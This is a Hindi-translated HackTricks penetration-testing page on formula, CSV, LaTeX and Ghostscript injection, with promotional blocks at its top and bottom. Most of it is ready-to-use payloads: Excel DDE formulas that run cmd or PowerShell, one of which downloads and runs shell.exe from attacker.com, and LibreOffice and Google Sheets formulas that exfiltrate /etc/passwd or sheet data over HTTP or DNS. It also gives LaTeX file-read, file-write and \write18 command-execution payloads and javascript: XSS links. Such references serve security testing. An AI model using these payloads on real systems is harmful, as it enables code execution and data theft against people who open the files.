20 KiB
फॉर्मूला/CSV/Doc/LaTeX/GhostScript इंजेक्शन
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter पर मुझे 🐦 @carlospolopm का अनुसरण करें.
- अपनी हैकिंग ट्रिक्स साझा करें, HackTricks HackTricks और HackTricks Cloud github repos में PRs सबमिट करके.
अपनी हमले की सतह को ट्रैक करें, सक्रिय खतरे के स्कैन चलाएं, अपने पूरे टेक स्टैक में मुद्दों का पता लगाएं, APIs से लेकर वेब ऐप्स और क्लाउड सिस्टम्स तक। आज ही मुफ्त में इसे आजमाएं.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
फॉर्मूला इंजेक्शन
जानकारी
यदि आपका इनपुट CSV फाइल में (या किसी अन्य फाइल में जो संभवतः Excel द्वारा खोली जाएगी) प्रतिबिंबित हो रहा है, तो आप Excel फॉर्मूले डाल सकते हैं जो उपयोगकर्ता द्वारा फाइल खोलने पर या उपयोगकर्ता द्वारा Excel शीट के अंदर किसी लिंक पर क्लिक करने पर निष्पादित किए जाएंगे।
{% hint style="danger" %} आजकल Excel उपयोगकर्ता को चेतावनी देगा (कई बार) जब कुछ Excel के बाहर से लोड किया जा रहा हो ताकि उसे मलिशस क्रिया से बचाया जा सके। इसलिए, अंतिम पेलोड पर सोशल इंजीनियरिंग पर विशेष प्रयास किया जाना चाहिए। {% endhint %}
वर्डलिस्ट
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
हाइपरलिंक
निम्नलिखित उदाहरण अंतिम एक्सेल शीट से सामग्री को निकालने और मनमाने स्थानों पर अनुरोध करने के लिए बहुत उपयोगी है। लेकिन इसके लिए उपयोगकर्ता को लिंक पर क्लिक करने (और चेतावनी संकेतों को स्वीकार करने) की आवश्यकता होती है।
उदाहरण https://payatu.com/csv-injection-basic-to-exploit से लिया गया है
मान लीजिए कि एक स्कूल के छात्र रिकॉर्ड प्रबंधन प्रणाली का हमला परिदृश्य है। एप्लिकेशन शिक्षक को स्कूल के छात्रों का विवरण दर्ज करने की अनुमति देता है। हमलावर को एप्लिकेशन तक पहुंच मिल जाती है और वह चाहता है कि एप्लिकेशन का उपयोग करने वाले सभी शिक्षक समझौता कर लें। इसलिए हमलावर वेब एप्लिकेशन के माध्यम से CSV इंजेक्शन हमला करने की कोशिश करता है।
हमलावर को अन्य छात्रों का विवरण चुराने की जरूरत है। इसलिए हमलावर हाइपरलिंक फॉर्मूला का उपयोग करता है और छात्र विवरण दर्ज करते समय इसे दर्ज करता है।
जब शिक्षक CSV निर्यात करते हैं और हाइपरलिंक पर क्लिक करते हैं तो संवेदनशील डेटा हमलावर के सर्वर पर भेजा जाता है।
निर्यात की गई CSV फाइल में दुर्भावनापूर्ण पेलोड होता है।
छात्र का विवरण हमलावर के वेब सर्वर में लॉग किया गया है।
RCE
इस उदाहरण के काम करने के लिए निम्नलिखित कॉन्फ़िगरेशन सक्षम होना आवश्यक है:
File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch
या पुराने Excel संस्करण का उपयोग।
अच्छी खबर यह है कि यह पेलोड फाइल खोलते समय स्वचालित रूप से निष्पादित होता है (यदि उपयोगकर्ता चेतावनियों को स्वीकार करता है)।
निम्नलिखित पेलोड के साथ कैलकुलेटर को निष्पादित करना संभव है =cmd|' /C calc'!xxx
अधिक
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
LFI
LibreOffice Calc
- यह स्थानीय /etc/passwd फ़ाइल से पहली पंक्ति पढ़ेगा:
='file:///etc/passwd'#$passwd.A1
- इसे बाहर निकालें:
=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))
- एक से अधिक पंक्तियों को बाहर निकालें:
=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- DNS निष्कासन:
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))
DNS निष्कासन पेलोड का विश्लेषण:
- ‘file:///etc/passwd’#$passwd.A19 – स्थानीय /etc/passwd फ़ाइल से 19वीं पंक्ति पढ़ेगा
- ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – लौटाए गए डेटा को URL एन्कोड करेगा
- MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – सबस्ट्रिंग की तरह, 1वें अक्षर से 41वें अक्षर तक का डेटा पढ़ेगा – DNS होस्टनेम्स की लंबाई को सीमित करने का एक बहुत ही उपयोगी तरीका (FQDN पर 254 अक्षर की सीमा और एक लेबल, यानी सबडोमेन पर 63 अक्षर)
- SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – URL एन्कोडिंग से विशेष अक्षर % के सभी उदाहरणों को डैश से बदल देगा – यह सुनिश्चित करने के लिए कि केवल मान्य DNS अक्षरों का उपयोग हो
- CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) – फ़ाइल से आउटपुट (ऊपर की प्रक्रिया के बाद) को FQDN के साथ जोड़ देगा (जिसके लिए हमारे पास डोमेन के लिए प्राधिकृत होस्ट का एक्सेस है)
- WEBSERVICE – इस अस्तित्वहीन DNS नाम के लिए एक अनुरोध करेगा जिसे हम फिर DNS प्राधिकृत नाम सर्वर पर लॉग्स (या tcpdump आदि) को पार्स कर सकते हैं जिसके लिए हमारे पास नियंत्रण है
Google Sheets OOB डेटा निष्कासन
सबसे पहले, कुछ अधिक रोचक फ़ंक्शन्स का परिचय देते हैं।
CONCATENATE: स्ट्रिंग्स को एक-दूसरे के साथ जोड़ता है।
=CONCATENATE(A2:E2)
IMPORTXML: विभिन्न संरचित डेटा प्रकारों जैसे XML, HTML, CSV, TSV, और RSS और ATOM XML फीड्स से डेटा आयात करता है।
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED: एक RSS या ATOM फीड को आयात करता है।
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML: HTML पृष्ठ के अंदर किसी तालिका या सूची से डेटा आयात करता है।
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE: निर्दिष्ट स्प्रेडशीट से एक श्रेणी की सेल्स को आयात करता है।
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
IMAGE: एक सेल में इमेज डालता है।
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
LaTeX इंजेक्शन
आमतौर पर इंटरनेट पर जो सर्वर मिलते हैं जो LaTeX कोड को PDF में बदलते हैं वे pdflatex
का उपयोग करते हैं।
यह प्रोग्राम कमांड निष्पादन को (अ)सक्षम करने के लिए 3 मुख्य गुणों का उपयोग करता है:
--no-shell-escape
: texmf.cnf फाइल में सक्षम होने पर भी\write18{command}
संरचना को अक्षम करें।--shell-restricted
:--shell-escape
के समान, लेकिन सीमित रूप से केवल 'सुरक्षित' सेट के पूर्वनिर्धारित कमांड्स के लिए (**Ubuntu 16.04 पर सूची/usr/share/texmf/web2c/texmf.cnf
में है)।--shell-escape
:\write18{command}
संरचना को सक्षम करें। कमांड कोई भी शेल कमांड हो सकता है। सुरक्षा कारणों से इस संरचना को आमतौर पर अनुमति नहीं है।
हालांकि, कमांड निष्पादित करने के अन्य तरीके भी हैं, इसलिए RCE से बचने के लिए --shell-restricted
का उपयोग करना बहुत महत्वपूर्ण है।
फाइल पढ़ें
आपको इंजेक्शन को [ या $ जैसे रैपर्स के साथ समायोजित करने की आवश्यकता हो सकती है।
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
एकल पंक्ति वाली फाइल पढ़ें
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
एकाधिक पंक्तियों वाली फ़ाइल को पढ़ें
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
फाइल लिखें
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
कमांड निष्पादन
कमांड का इनपुट stdin पर पुनर्निर्देशित किया जाएगा, इसे प्राप्त करने के लिए एक अस्थायी फाइल का उपयोग करें।
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
यदि आपको कोई LaTex त्रुटि मिलती है, तो बुरे अक्षरों के बिना परिणाम प्राप्त करने के लिए base64 का उपयोग करने पर विचार करें।
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
क्रॉस साइट स्क्रिप्टिंग
@EdOverflow से
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Ghostscript Injection
TODO: https://blog.redteam-pentesting.de/2023/ghostscript-overview/ से अधिक प्रासंगिक जानकारी और तकनीकों के साथ एक सारांश बनाएं।
संदर्भ
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
सबसे महत्वपूर्ण कमजोरियों को खोजें ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी अटैक सरफेस को ट्रैक करता है, सक्रिय धमकी स्कैन चलाता है, और आपके पूरे टेक स्टैक में मुद्दों को खोजता है, APIs से लेकर वेब ऐप्स और क्लाउड सिस्टम्स तक। इसे मुफ्त में आजमाएं।
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें शून्य से नायक तक htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter 🐦 पर मुझे फॉलो करें @carlospolopm.
- HackTricks और HackTricks Cloud github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।